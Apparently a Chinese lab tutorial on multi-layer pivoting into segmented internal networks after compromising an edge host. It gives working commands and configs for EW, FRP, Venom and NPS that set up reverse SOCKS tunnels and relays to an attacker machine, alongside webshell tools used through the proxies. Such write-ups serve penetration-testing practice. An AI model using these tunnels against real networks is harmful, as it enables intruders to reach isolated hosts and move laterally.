前言
环境搭建
拓扑图如下:
192.168.1.0/24
模拟公网环境。
每台PC上都有一个web服务,内网主机除边缘win7外全部不出网,内网同网段之间的主机可以相互访问,不同网段相互隔离。
假设现在已经拿到边缘主机win7。(文中所指的win2012全部指左边这台)
由于环境中途崩了一次,从Venom开始ip有所变化,请见谅。
EW
将ew上传至边缘机器。
在攻击机上执行:
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
在边缘机器上执行:
ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234
这时候回来看攻击机,就已经成功了。
给浏览器设置一个代理,即可访问内网web。
经过一系列操作,我们又写入了一个shell。
同样这里需要开启蚁剑代理。
查看192.168.183.134这台主机是否出网,结果是不出网。
由于需要执行命令,我们得保证一级代理不能掉。所以这里我用了两个webshell工具,蚁剑和冰蝎。
蚁剑关闭代理,冰蝎开启sock5代理1080端口,冰蝎去连192.168.183.134
这台不出网主机,蚁剑连接边缘机器192.168.1.110
。
攻击机另起一个cmd,执行命令:
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
注意这里的端口不要和刚刚1080端口重合。
不出网主机win2012执行命令:
ew_for_Win.exe -s ssocksd -l 9999
这里没回显是正常的,但要保证一级代理不能掉。
再通过边缘机器打通192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道
ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999
这里同样的浏览器再挂个代理就可以了。
再拿webshell工具去连的话就另外再挂个3080端口代理就行了。
FRP
攻击机配置frps.ini文件
[common]
bind_port = 7000
边缘机器配置frpc.ini
[common]
server_addr = 192.168.1.104
server_port = 7000
[http_proxy]
type = tcp
plugin=socks5
remote_port = 6000
攻击机执行命令
frps.exe -c frps.ini
边缘机器执行命令
frpc.exe ‐c frpc.ini
浏览器挂代理访问6000端口即可
拿到win2012的webshell权限后,准备进一步代理到192.168.57.0/24
。一级代理不要掉。
攻击机配置frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7788
边缘主机win7配置frps.ini
[common]
bind_addr = 192.168.183.131
bind_port = 7799
同时配置win7主机上frpc.ini
[common]
server_addr = 192.168.1.104
server_port = 7788
[http_proxy]
type = tcp
local_ip = 192.168.183.131
local_port = 1080
remote_port = 1080
同样上传frp到win2012上,配置frpc.ini
[common]
server_addr = 192.168.183.131
server_port = 7799
[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5
执行frpc.exe ‐c frpc.ini
,这里都是没什么回显。
设置代理1080
同样的写入shell之后webshell工具连接挂个代理就行了。
Venom
此时ip发生变化:
win7:192.168.183.138 192.168.1.109
win2012:192.168.183.139 192.168.57.136
核心机器win2012:192.168.57.137
攻击机上执行
admin.exe -lport 9999
边缘主机win7上执行
agent.exe -rhost 192.168.1.104 -rport 9999
回到攻击机器上就已经有了连接。
然后执行命令,将流量代理到7777端口
goto 1
socks 7777
这时win2012就可以访问了
通过冰蝎走代理,将agent.exe
上传至win2012。
在攻击机上让节点一进行监听,也就是在边缘机器win7上等待win2012连接。
在win2012上执行命令连接win7:
agent.exe -rhost 192.168.183.138 -rport 9998
这时在攻击机上使用show命令,查看节点,就可以发现已经有两个节点,选择节点2,并socks代理到本机9998端口。
NPS
这个工具我还是第一次用,由于有图形化界面,感觉这个工具还比较好用,不像frp要去目标机器配置文件,也比ew更加稳定。
首先去官网下载nps和npc:
https://github.com/ehang-io/nps/releases
这里我都是windows64位,下载这两个就可以了。
直接执行nps.exe(要注意端口,被占用了就修改conf文件)
然后访问127.0.0.1:8080,如果是vps上起的话就访问vps:8080,默认密码admin/123。登录后点击右侧客户端,然后新增:
这里可填可不填,留空的话会自动生成密匙,等会拿这个密匙来让边缘主机win7连接攻击机器。
这里ID和密匙等会要用。
点击右侧socks代理,新增。ID为上面的id,端口填一个没有被占用的端口就好了,保存后server就配置完毕了。
将npc上传至边缘机器win7,并执行命令:
npc.exe -server=ip:port -vkey=服务端生成的key
这里的port默认是8024,如果修改过nps.conf中的端口就是修改过后的端口,key就是上面服务端的密钥。
执行后可以看到连接已经变成在线,这时候就已经代理好了。
浏览器挂个代理或者用Proxifier都是可以的,前面因为一直都是用的浏览器直接走代理这里还是用下Proxifier。
新增代理规则如下
做二层代理时候想了很久,翻遍全网都没有一个案例,我的想法是kali上去开一个nps服务端,然后msf添加路由,这是一种方式。
还有就是3389远程去连边缘主机win7,但是这样操作太敏感了。官方文档有如下这样的说明,但是没找到参数怎么用,这里就用3389勉强试一下,希望有懂的表哥指点。初次体验nps感觉不是很好,如果是只做一层代理还是可以。
经过一系列代理操作还是在win7边缘主机访问到win2012核心机器
总结
欢迎关注、分享
本文始发于微信公众号(Top security):内网穿透之多层代理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论